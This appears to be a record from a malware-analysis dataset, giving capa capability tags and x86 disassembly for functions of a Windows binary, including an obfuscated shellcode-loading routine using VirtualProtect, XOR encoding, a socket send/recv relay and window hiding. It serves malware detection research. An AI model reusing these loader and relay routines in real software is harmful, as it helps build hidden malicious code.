joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402b87
Capabilities:
Execute shellcode via indirect call

Disassembly:
add esp, 4
pop ebx
je 0x402cc1
and dword [esp + 0x10], 0
push edi
or edi, 0xdf42
call 0x402bad
add byte [edi + 0x45], al
cmp dword [esi + 0x4c], eax
dec edx
dec ecx
push eax
cmp dword [edi], edi
add esp, 4
pop edi
push ebx
xor ebx, 0x11bd8
call 0x402bc4
add byte [0x39454635], bh
inc ebp
add esp, 4
pop ebx
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [esp + 0x10]
push eax
push 0x40
push edi
push dword [esi]
call ebp
test eax, eax
je 0x402cc1
push ebx
mov ebx, dword [esi]
lea eax, [ebx + edi]
cmp ebx, eax
jae 0x402c46
mov ebp, dword [esp + 0x10]
push eax
call 0x402c00
add byte [esi], bh
inc ecx
dec eax
cmp byte [ecx*2 - 0x7cb4b6bb], dh
les eax, [ecx + eax*4]
rcr byte [ecx], 0x14
add dword [eax], eax
or eax, 0x8214
pop eax
push eax
push edi
add esp, 4
xor eax, 0xf079
sub eax, 0x1352a
pop eax
mov eax, dword [ebp]
mov ecx, ebp
mov edx, dword [eax]
mov al, byte [esi + 8]
mov byte [esp + 0x10], al
push dword [esp + 0x10]
push ebx
call edx
mov eax, dword [esi]
inc ebx
add eax, edi
cmp ebx, eax
jb 0x402bf0
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ecx
push edi
add esp, 4
add ecx, 0x377a
call 0x402c5f
add byte [ecx + 0x40], al
xor edi, dword [edx]
inc ebp
dec edi
xor ecx, dword [ebx + eax*4 - 0x3c]
add al, 0x81
int1
inc esi
jge 0x402c68
add al, ch
pop es
add byte [eax], al
add byte [eax], al
xor edi, dword [edx]
xor al, 0x49
call 0x402c74
add byte [ebx], dh
cmp dh, byte [ecx + ecx*2]
inc ebp
add esp, 4
pop ecx
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x18]
push edi
push dword [esi]
call ebp
pop ebx
test eax, eax
je 0x402cc1
push ebx
push edx
add esp, 4
add ebx, 0xaf8b
pop ebx
push eax
or eax, 0x16388
pop eax
push ecx
push edx
add esp, 4
and ecx, 0x125ef
add ecx, 0x17e54
or ecx, 0x5a48
sub ecx, 0x81cf
pop ecx
mov al, 1
jmp 0x402cc3
Function at 0x402bad
Capabilities:
Execute shellcode via indirect call

Disassembly:
add esp, 4
pop ebx
je 0x402cc1
and dword [esp + 0x10], 0
push edi
or edi, 0xdf42
call 0x402bad
add byte [edi + 0x45], al
cmp dword [esi + 0x4c], eax
dec edx
dec ecx
push eax
cmp dword [edi], edi
add esp, 4
pop edi
push ebx
xor ebx, 0x11bd8
call 0x402bc4
add byte [0x39454635], bh
inc ebp
add esp, 4
pop ebx
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [esp + 0x10]
push eax
push 0x40
push edi
push dword [esi]
call ebp
test eax, eax
je 0x402cc1
push ebx
mov ebx, dword [esi]
lea eax, [ebx + edi]
cmp ebx, eax
jae 0x402c46
mov ebp, dword [esp + 0x10]
push eax
call 0x402c00
add byte [esi], bh
inc ecx
dec eax
cmp byte [ecx*2 - 0x7cb4b6bb], dh
les eax, [ecx + eax*4]
rcr byte [ecx], 0x14
add dword [eax], eax
or eax, 0x8214
pop eax
push eax
push edi
add esp, 4
xor eax, 0xf079
sub eax, 0x1352a
pop eax
mov eax, dword [ebp]
mov ecx, ebp
mov edx, dword [eax]
mov al, byte [esi + 8]
mov byte [esp + 0x10], al
push dword [esp + 0x10]
push ebx
call edx
mov eax, dword [esi]
inc ebx
add eax, edi
cmp ebx, eax
jb 0x402bf0
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ecx
push edi
add esp, 4
add ecx, 0x377a
call 0x402c5f
add byte [ecx + 0x40], al
xor edi, dword [edx]
inc ebp
dec edi
xor ecx, dword [ebx + eax*4 - 0x3c]
add al, 0x81
int1
inc esi
jge 0x402c68
add al, ch
pop es
add byte [eax], al
add byte [eax], al
xor edi, dword [edx]
xor al, 0x49
call 0x402c74
add byte [ebx], dh
cmp dh, byte [ecx + ecx*2]
inc ebp
add esp, 4
pop ecx
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x18]
push edi
push dword [esi]
call ebp
pop ebx
test eax, eax
je 0x402cc1
push ebx
push edx
add esp, 4
add ebx, 0xaf8b
pop ebx
push eax
or eax, 0x16388
pop eax
push ecx
push edx
add esp, 4
and ecx, 0x125ef
add ecx, 0x17e54
or ecx, 0x5a48
sub ecx, 0x81cf
pop ecx
mov al, 1
jmp 0x402cc3
Function at 0x402bc4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
add esp, 4
pop ebx
je 0x402cc1
and dword [esp + 0x10], 0
push edi
or edi, 0xdf42
call 0x402bad
add byte [edi + 0x45], al
cmp dword [esi + 0x4c], eax
dec edx
dec ecx
push eax
cmp dword [edi], edi
add esp, 4
pop edi
push ebx
xor ebx, 0x11bd8
call 0x402bc4
add byte [0x39454635], bh
inc ebp
add esp, 4
pop ebx
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [esp + 0x10]
push eax
push 0x40
push edi
push dword [esi]
call ebp
test eax, eax
je 0x402cc1
push ebx
mov ebx, dword [esi]
lea eax, [ebx + edi]
cmp ebx, eax
jae 0x402c46
mov ebp, dword [esp + 0x10]
push eax
call 0x402c00
add byte [esi], bh
inc ecx
dec eax
cmp byte [ecx*2 - 0x7cb4b6bb], dh
les eax, [ecx + eax*4]
rcr byte [ecx], 0x14
add dword [eax], eax
or eax, 0x8214
pop eax
push eax
push edi
add esp, 4
xor eax, 0xf079
sub eax, 0x1352a
pop eax
mov eax, dword [ebp]
mov ecx, ebp
mov edx, dword [eax]
mov al, byte [esi + 8]
mov byte [esp + 0x10], al
push dword [esp + 0x10]
push ebx
call edx
mov eax, dword [esi]
inc ebx
add eax, edi
cmp ebx, eax
jb 0x402bf0
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ecx
push edi
add esp, 4
add ecx, 0x377a
call 0x402c5f
add byte [ecx + 0x40], al
xor edi, dword [edx]
inc ebp
dec edi
xor ecx, dword [ebx + eax*4 - 0x3c]
add al, 0x81
int1
inc esi
jge 0x402c68
add al, ch
pop es
add byte [eax], al
add byte [eax], al
xor edi, dword [edx]
xor al, 0x49
call 0x402c74
add byte [ebx], dh
cmp dh, byte [ecx + ecx*2]
inc ebp
add esp, 4
pop ecx
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x18]
push edi
push dword [esi]
call ebp
pop ebx
test eax, eax
je 0x402cc1
push ebx
push edx
add esp, 4
add ebx, 0xaf8b
pop ebx
push eax
or eax, 0x16388
pop eax
push ecx
push edx
add esp, 4
and ecx, 0x125ef
add ecx, 0x17e54
or ecx, 0x5a48
sub ecx, 0x81cf
pop ecx
mov al, 1
jmp 0x402cc3
Function at 0x402c00
Capabilities:
Encode data using xor

Disassembly:
add esp, 4
pop ebx
je 0x402cc1
and dword [esp + 0x10], 0
push edi
or edi, 0xdf42
call 0x402bad
add byte [edi + 0x45], al
cmp dword [esi + 0x4c], eax
dec edx
dec ecx
push eax
cmp dword [edi], edi
add esp, 4
pop edi
push ebx
xor ebx, 0x11bd8
call 0x402bc4
add byte [0x39454635], bh
inc ebp
add esp, 4
pop ebx
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [esp + 0x10]
push eax
push 0x40
push edi
push dword [esi]
call ebp
test eax, eax
je 0x402cc1
push ebx
mov ebx, dword [esi]
lea eax, [ebx + edi]
cmp ebx, eax
jae 0x402c46
mov ebp, dword [esp + 0x10]
push eax
call 0x402c00
add byte [esi], bh
inc ecx
dec eax
cmp byte [ecx*2 - 0x7cb4b6bb], dh
les eax, [ecx + eax*4]
rcr byte [ecx], 0x14
add dword [eax], eax
or eax, 0x8214
pop eax
push eax
push edi
add esp, 4
xor eax, 0xf079
sub eax, 0x1352a
pop eax
mov eax, dword [ebp]
mov ecx, ebp
mov edx, dword [eax]
mov al, byte [esi + 8]
mov byte [esp + 0x10], al
push dword [esp + 0x10]
push ebx
call edx
mov eax, dword [esi]
inc ebx
add eax, edi
cmp ebx, eax
jb 0x402bf0
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ecx
push edi
add esp, 4
add ecx, 0x377a
call 0x402c5f
add byte [ecx + 0x40], al
xor edi, dword [edx]
inc ebp
dec edi
xor ecx, dword [ebx + eax*4 - 0x3c]
add al, 0x81
int1
inc esi
jge 0x402c68
add al, ch
pop es
add byte [eax], al
add byte [eax], al
xor edi, dword [edx]
xor al, 0x49
call 0x402c74
add byte [ebx], dh
cmp dh, byte [ecx + ecx*2]
inc ebp
add esp, 4
pop ecx
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x18]
push edi
push dword [esi]
call ebp
pop ebx
test eax, eax
je 0x402cc1
push ebx
push edx
add esp, 4
add ebx, 0xaf8b
pop ebx
push eax
or eax, 0x16388
pop eax
push ecx
push edx
add esp, 4
and ecx, 0x125ef
add ecx, 0x17e54
or ecx, 0x5a48
sub ecx, 0x81cf
pop ecx
mov al, 1
jmp 0x402cc3

Function at 0x4078e5
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
mov esi, ecx
push edi
mov edi, 0x270
cmp dword [esi], edi
jne 0x40792d
lea edx, [esi + 8]
mov ecx, dword [edx - 4]
xor ecx, dword [edx]
lea edx, [edx + 4]
and ecx, 0x7fffffff
xor ecx, dword [edx - 8]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x62c]
xor eax, ecx
mov dword [edx + 0x9b8], eax
sub edi, 1
jne 0x4078f5
jmp 0x40793a
cmp dword [esi], 0x4e0
jb 0x40793a
call fcn.00407974
mov eax, dword [esi]
pop edi
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
pop esi
ret
Function at 0x407974
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
push ebp
push esi
mov esi, ecx
mov ebx, 0xe3
push edi
mov ebp, closesocket
lea edi, [esi + 0x9c4]
mov eax, dword [edi]
lea edx, [edi + 4]
mov ecx, dword [edx]
xor ecx, eax
and ecx, ebp
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi + 0x634]
xor eax, ecx
mov dword [edi - 0x9c0], eax
lea edi, [edx]
mov eax, dword [edx]
sub ebx, 1
jne 0x40798c
lea edi, [esi + 0xd50]
mov ebx, 0x18c
mov eax, dword [edi]
lea edx, [edi + 4]
mov ecx, dword [edx]
xor ecx, eax
and ecx, ebp
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi - 0xd4c]
xor eax, ecx
mov dword [edi - 0x9c0], eax
lea edi, [edx]
mov eax, dword [edx]
sub ebx, 1
jne 0x4079cd
mov ecx, dword [esi + 0x1380]
xor ecx, dword [esi + 4]
and ecx, ebp
xor ecx, dword [esi + 0x1380]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
pop edi
sbb eax, eax
and dword [esi], 0
and eax, 0x9908b0df
shr ecx, 1
xor eax, dword [esi + 0x634]
xor eax, ecx
mov dword [esi + 0x9c0], eax
pop esi
pop ebp
pop ebx
ret

Function at 0x409465
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
push 0x1c
mov eax, 0x43abeb
call fcn.00416539
mov dword [ebp - 0x28], edx
mov eax, ecx
mov dword [ebp - 0x24], eax
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x14]
push ecx
push 0x4004667f
xor ebx, ebx
push eax
mov dword [ebp - 0x14], ebx
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, 0xffffffff
jne 0x40949a
xor al, al
jmp 0x40950e
xor eax, eax
lea edi, [ebp - 0x20]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x14], 0
je 0x4094f3
push dword [ebp - 0x14]
lea ecx, [ebp - 0x20]
call fcn.0040760e
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x20]
push ebx
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x24]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x409504
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x20]
push ebx
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x28]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x409504
mov bl, 1
jmp 0x409504
dec dword [esi]
mov esi, dword [esi]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
setne bl
lea ecx, [ebp - 0x20]
call fcn.00402cd5
mov al, bl
call fcn.004164e8
ret
Function at 0x409670
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x1c
mov eax, dword [0x44f020]
xor eax, esp
mov dword [esp + 0x18], eax
push edi
xor eax, eax
lea edi, [esp + 0x10]
stosd dword es:[edi], eax
xor ecx, ecx
mov byte [esp + 4], cl
mov dword [esp + 6], ecx
mov word [esp + 0xa], cx
lea ecx, [esp + 4]
stosd dword es:[edi], eax
push ecx
stosd dword es:[edi], eax
mov al, byte [esp + 0x2c]
mov byte [esp + 9], al
lea eax, [esp + 0x10]
push eax
push ecx
lea ecx, [esp + 0x1c]
call fcn.00402877
mov eax, dword [esp + 0x14]
sub eax, dword [esp + 0x10]
push 0
push eax
push dword [esp + 0x18]
push dword [esp + 0x30]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
lea ecx, [esp + 0x10]
setg byte [esp + 0xf]
call fcn.00402cd5
mov ecx, dword [esp + 0x1c]
mov al, byte [esp + 0xf]
pop edi
xor ecx, esp
call fcn.00415ca1
add esp, 0x1c
ret 8

Function at 0x409786
Capabilities:
Resolve dns

Disassembly:
push 0x40
mov eax, 0x43ac66
call fcn.00416539
mov esi, dword [ebp + 8]
xor edx, edx
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x30], ebx
mov dword [esi], edx
mov dword [esi + 0x10], edx
mov dword [esi + 0x14], 0xf
mov byte [esi], dl
mov dword [ebp - 4], edx
lea ecx, [ebx + 8]
mov dword [ebp - 0x2c], 1
mov edi, edx
add ebx, 0x108
jmp 0x4097cf
cmp byte [ecx], 0
je 0x4097d5
inc edi
inc ecx
cmp ecx, ebx
jne 0x4097c8
jmp 0x4097d7
mov edx, edi
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x28]
add eax, 9
add eax, edx
push eax
call fcn.004063f3
mov dword [ebp - 4], 2
lea eax, [ebp - 0x28]
cmp dword [ebp - 0x14], 0x10
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x40982b
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea ecx, [ebp - 0x4c]
call fcn.004063f3
push eax
mov ecx, esi
call fcn.004095f5
lea ecx, [ebp - 0x4c]
call fcn.00402db9
lea ecx, [ebp - 0x28]
call fcn.00402db9
mov eax, esi
call fcn.004164e8
ret 8
Function at 0x40983d
Capabilities:
Receive data
Receive data on socket

Disassembly:
push 0x17c
mov eax, 0x43acc0
call fcn.00416539
mov eax, ecx
mov dword [ebp - 0x180], eax
lea edx, [eax + 0x18]
xor ebx, ebx
call fcn.00409514
mov esi, eax
mov dword [ebp - 0x3c], esi
cmp esi, 0xffffffff
je 0x409a1c
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x184], eax
mov edi, 0x108
mov dword [ebp - 4], ebx
push edi
lea eax, [ebp - 0x178]
push ebx
push eax
call fcn.00417e20
add esp, 0xc
lea eax, [ebp - 0x178]
push ebx
push edi
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
mov esi, dword [sym.imp.WS2_32.dll_closesocket]
test eax, eax
jle 0x409a17
mov ecx, dword [ebp - 0x174]
lea edi, [ebp - 0x38]
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, ecx
shr eax, 0x18
push eax
mov eax, ecx
shr eax, 0x10
movzx eax, al
push eax
mov eax, ecx
shr eax, 8
movzx eax, al
push eax
movzx eax, cl
push eax
lea eax, [ebp - 0x38]
push str._u._u._u._u
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], bl
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x28]
call fcn.004063f3
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 3
push eax
call fcn.004096f2
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 2
mov bl, al
call fcn.00402db9
test bl, bl
je 0x40995c
lea eax, [ebp - 0x178]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00409786
lea ecx, [ebp - 0x58]
cmp ecx, eax
je 0x409952
mov byte [ebp - 0x17c], 0
push dword [ebp - 0x17c]
push eax
call fcn.00409617
lea ecx, [ebp - 0x28]
call fcn.00402db9
jmp 0x409968
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x58]
call fcn.00406464
push dword [ebp - 0x176]
call dword [sym.imp.WS2_32.dll_ntohs]
movzx edx, ax
lea ecx, [ebp - 0x13]
call fcn.00402f30
push ecx
lea ecx, [ebp - 0x13]
push ecx
push eax
lea ecx, [ebp - 0x70]
call fcn.00402f54
lea edx, [ebp - 0x70]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x58]
call fcn.00409514
mov dword [ebp - 0x40], eax
cmp eax, 0xffffffff
je 0x409a07
lea eax, [ebp - 0x40]
mov dword [ebp - 0x188], eax
mov eax, dword [ebp - 0x180]
mov byte [ebp - 4], 5
movzx eax, byte [eax + 0x31]
push eax
push dword [ebp - 0x3c]
call fcn.00409670
test al, al
je 0x409a02
mov dword [ebp - 0x17c], 0xbb8
jmp 0x4099eb
mov edx, dword [ebp - 0x3c]
lea eax, [ebp - 0x17c]
mov ecx, dword [ebp - 0x40]
push eax
call fcn.00409465
pop ecx
test al, al
je 0x409a02
mov edx, dword [ebp - 0x40]
lea eax, [ebp - 0x17c]
mov ecx, dword [ebp - 0x3c]
push eax
call fcn.00409465
pop ecx
test al, al
jne 0x4099d4
push dword [ebp - 0x40]
call esi
lea ecx, [ebp - 0x70]
call fcn.00402db9
lea ecx, [ebp - 0x58]
call fcn.00402db9
push dword [ebp - 0x3c]
call esi
call fcn.004164e8
ret
Function at 0x40fa21
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x64
mov eax, dword [0x44f020]
xor eax, esp
mov dword [esp + 0x5c], eax
mov eax, dword [esp + 0x68]
xor edx, edx
push ebx
push ebp
inc edx
mov dword [esp + 0x1c], edx
mov ebx, dword [esp + 0x74]
push esi
push edi
mov edi, ecx
mov dword [esp + 0x48], edx
mov ecx, 0x28f3472a
mov dword [esp + 0x40], edi
xor eax, ecx
imul ebx, eax
sub ebx, 0x30
xor ebx, ecx
imul ebx, dword [esp + 0x48]
mov dword [esp + 0x50], edx
imul eax, dword [esp + 0x50], 0x28f3471d
mov ebp, dword [esp + 0x7c]
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x78]
xor eax, ecx
mov dword [esp + 0x58], edx
imul ebp, eax
sub ebp, 0x38
xor ebp, ecx
imul ebp, dword [esp + 0x58]
mov dword [esp + 0x14], edx
imul esi, dword [esp + 0x14], 0x28f3472f
mov dword [esp + 0x1c], edx
imul eax, dword [esp + 0x1c], 0x28f3472a
mov edx, dword [esp + 0x78]
mov dword [esp + 0x10], esi
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x7c]
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x18]
xor eax, ecx
mov ecx, dword [esp + 0x1c]
imul ecx, eax
mov eax, 0x28f3472a
xor edx, eax
imul edx, dword [esp + 0x68]
cmp ecx, edx
jae 0x40fc7a
mov edi, dword [esp + 0x18]
xor ebx, eax
xor dword [esp + 0x20], eax
xor edi, eax
xor ebp, eax
Function at 0x411a7b
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x44f020]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor eax, eax
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
mov esi, ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowRect]
test eax, eax
je 0x411af7
movd xmm0, dword [ebp - 0x14]
cvtdq2pd xmm0, xmm0
comisd xmm0, xmmword [0x4495f0]
jb 0x411ae0
push 3
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [ebp - 0x10]
push 1
push 0
push 0
add eax, 0xffffec78
push eax
push 0xffffec78
push 1
push esi
call dword [sym.imp.USER32.dll_SetWindowPos]
push ecx
push esi
call fcn.00411b05
test al, al
je 0x411af7
mov eax, dword [0x451ac4]
push esi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00415ca1
leave
ret
Function at 0x414545
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x414566
jl 0x41455d
test edi, edi
jne 0x414566
xor eax, eax
xor edx, edx
jmp 0x414627
cmp dword [ebx + 0x38], 0
je 0x41457b
push eax
push edi
push dword [ebp + 8]
call fcn.0041462d
jmp 0x414627
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x4145c2
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x4145c2
cmp eax, edi
jb 0x41459c
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.004178a0
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x4145c8
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x41461c
mov ecx, ebx
call fcn.00413dcd
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x414607
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.00423cff
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x41461c
jmp 0x4145da
test edx, edx
je 0x41461c
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.00423cff
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc

Function at 0x416a8a
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x416ac9
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x416ac9
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x416ac9
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x416ac9
cmp dword [ecx + 0x74], 0xe
jbe 0x416ac9
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4287dc
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x440b78
push 0x440b70
push str.FlsAlloc
push 0x1f
call fcn.00428607
mov esi, eax
add esp, 0x10
test esi, esi
je 0x428810
push dword [ebp + 8]
mov ecx, esi
call dword [0x43c2d0]
call esi
jmp 0x428816
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x42885a
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x440b88
push 0x440b80
push str.FlsGetValue
push 0x21
call fcn.00428607
mov esi, eax
add esp, 0x10
test esi, esi
je 0x428891
push dword [ebp + 8]
mov ecx, esi
call dword [0x43c2d0]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x428899
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x440b90
push 0x440b88
push str.FlsSetValue
push 0x22
call fcn.00428607
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4288d3
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x43c2d0]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x42d607
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00416ed0
mov eax, dword [0x44f020]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0042b01e
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x42d649
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x42d7a5
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00438930
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x450f40]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.0042e604
mov ecx, dword [esi*4 + 0x450f40]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x42d79e
cmp eax, dword [ecx + edi + 0x24]
jne 0x42d79e
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x42d79e
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0042e604
add esp, 0x14
test edx, edx
jl 0x42d79e
jg 0x42d714
test eax, eax
jb 0x42d79e
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x42d79e
jl 0x42d72e
cmp dword [ebp - 0x1008], eax
ja 0x42d79e
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x42d74c
test ebx, ebx
je 0x42d785
cmp ecx, edi
jae 0x42d785
mov al, byte [ecx]
cmp al, 0xd
jne 0x42d766
lea eax, [edi - 1]
cmp ecx, eax
jae 0x42d772
cmp byte [ecx + 1], 0xa
jne 0x42d772
inc ecx
jmp 0x42d772
movzx eax, al
movsx eax, byte [eax + 0x44f2c0]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x42d74c
cmp edx, ebx
jne 0x42d74c
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x42d7a3
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00415ca1
leave
ret